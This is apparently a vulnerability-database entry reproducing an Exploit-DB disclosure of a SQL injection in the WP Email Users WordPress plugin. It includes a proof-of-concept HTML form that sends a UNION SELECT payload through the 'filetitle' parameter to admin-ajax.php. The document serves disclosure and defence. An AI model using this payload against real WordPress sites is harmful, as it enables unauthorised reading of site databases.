WP Email Users – 1.4.1 – Plugin WordPress – Sql Injection

vendor:

WP Email Users

by:

Lenon Leite

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: WP Email Users

Affected Version From: 1.3.1

Affected Version To: 1.4.1

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:wp_email_users

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 14.04

2017

WP Email Users – 1.4.1 – Plugin WordPress – Sql Injection

WP Email Users is vulnerable to SQL Injection due to the $_REQUEST['edit'] parameter being escaped incorrectly. An attacker can exploit this vulnerability by sending a malicious request to the admin-ajax.php page with a crafted filetitle parameter.

Mitigation:

Ensure that all user-supplied input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

# Exploit Title:  WP Email Users – 1.4.1 – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-email-users/
# Software Link: https://wordpress.org/plugins/wp-email-users/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3.1
# Tested on: Ubuntu 14.04

1 - Description:

Type user access:  is accessible for any registered user

$_REQUEST[‘edit’] is escaped wrong. Attack with Sql Injection

http://lenonleite.com.br/blog/2017/01/17/english-wp-email-users-1-4-1-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<form action="http://localhost:8080/wp-admin/admin-ajax.php" method="post">
    <input type="text" name="action" value="weu_my_action">
    <input type="text" name="filetitle" value="0 UNION SELECT CONCAT(name,char(58),slug) FROM wp_terms WHERE  term_id=1">
    <input type="text" name="temp_sel_key" value="select_temp">
    <input type="submit" name="">
</form>


3 - Timeline:

    12/01/2016 – Discovered
    13/12/2016 – Vendor not finded